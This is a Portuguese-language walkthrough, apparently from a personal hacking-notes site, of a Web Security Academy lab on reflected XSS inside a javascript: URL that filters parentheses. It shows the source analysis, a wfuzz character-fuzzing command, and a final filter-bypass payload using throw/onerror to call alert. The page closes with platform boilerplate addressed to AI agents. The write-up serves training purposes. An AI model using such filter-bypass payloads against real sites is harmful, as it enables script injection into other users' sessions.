> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xss/xss-in-javascript-url-with-limited-characters.md).

# XSS em uma URL JavaScript com Caracteres Limitados

### XSS refletido em uma URL JavaScript com alguns caracteres bloqueados

#### Objetivo

Usando uma vulnerabilidade de XSS refletido em uma `JavaScript:` URL para mostrar `alert` contendo a `1337` string (a `1337` string deve estar presente em algum lugar da mensagem).

A aplicação reflete nossa entrada em uma URL JavaScript. À primeira vista, o desafio parece simples, mas a aplicação filtra certos caracteres para evitar ataques XSS. Precisamos encontrar uma forma de escapar do contexto JavaScript apesar dessas restrições e disparar `alert(...)` contendo `1337`.

<figure><img src="/files/21c8ced76c741f39cefbbaf77ad7bdac59bd3204" alt=""><figcaption></figcaption></figure>

#### Análise do código-fonte observado

No código-fonte você pode encontrar o seguinte link:

{% code overflow="wrap" %}

```javascript
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d1'}).finally(_ => window.location = '/')">Voltar ao Blog</a>
```

{% endcode %}

Depois de decodificar a URL, você obtém:

{% code overflow="wrap" %}

```javascript
<a href="javascript:fetch('/analytics', {method:'post',body:'/post?postId=1'}).finally(_ => window.location = '/')">Voltar ao Blog</a>
```

{% endcode %}

Clicar em Voltar ao Blog executa esta URL JavaScript. Ao interceptar a requisição, vemos que é feita uma chamada para `/analytics`. O `postId` o parâmetro é obtido da URL (`/post?postId=...`) e refletido no corpo da consulta de analytics.

<figure><img src="/files/a38d7b3427a44fb8c8332e906dffe6627eeb3f2b" alt=""><figcaption></figcaption></figure>

#### Primeira tentativa — quebra do parsing

<figure><img src="/files/aa0063e784a9237548e95e66c5438e81aabce47e" alt="" width="563"><figcaption></figcaption></figure>

Ao injetar um único apóstrofo, o parsing é quebrado (o ID se torna inválido):

```javascript
2'},{x:'
```

O apóstrofo quebra a estrutura, o que mostra que o valor é inserido em um contexto em que aspas têm impacto.

<figure><img src="/files/62ed2645fc000205c7cf72a87ae17122fab52c21" alt="" width="563"><figcaption></figcaption></figure>

#### Fuzzing de caracteres especiais

Testamos rapidamente quais caracteres especiais produzem uma resposta válida (com `wfuzz` e o `special-chars.txt` lista). Exemplo de comando usado:

{% code overflow="wrap" %}

```bash
wfuzz -c -w /usr/share/SecLists/Fuzzing/special-chars.txt 'https://0a530041036b803fbb5cd40a009500a8.web-security-academy.net/post?postId=2FUZZ%27},{x:%27'
```

{% endcode %}

Os resultados mostram que `&` e `#` produzem um código 200 — eles são aceitos pelo parser e permitem inserir sequências que fecham corretamente a estrutura.

<figure><img src="/files/a7e743f3fbaa33af4f62409809fc26e4a7f09d67" alt="" width="563"><figcaption></figcaption></figure>

Interpretação observada:

```javascript
post?postId=2&
```

<figure><img src="/files/e16ca3c3f754d66219c4749d675183c30193fd47" alt=""><figcaption></figcaption></figure>

#### Construção do vetor de escape

Ao fechar corretamente o valor e inserir código, você pode obter:

```javascript
post?postId=2&'},{x:''
```

<figure><img src="/files/f43ef1de382443f9e05dc956bc341da40f17f23d" alt=""><figcaption></figcaption></figure>

Aqui `x` permanece vazio e a sintaxe é aceita.

Então tentamos adicionar um `alert` diretamente:

```javascript
post?postId=2&'},alert(1),{x:''
```

Mas `()` os parênteses de `alert(1)` são removidos pelo filtro — então você precisa contornar a obrigação de usar `()`.

<figure><img src="/files/9bd55aad8d5fcc060a9255a3ae90d354d935468d" alt=""><figcaption></figcaption></figure>

#### Contornando sem parênteses

É possível contornar o uso de parênteses e usar expressões JavaScript mais criativas para invocar `alert` por `1337` na saída. O payload final usado é:

```javascript
2&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window%2b'',{x:'
```

<figure><img src="/files/5de3232bea5674ab0a7226081d4ba6abeafa2149" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/xss/xss-in-javascript-url-with-limited-characters.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
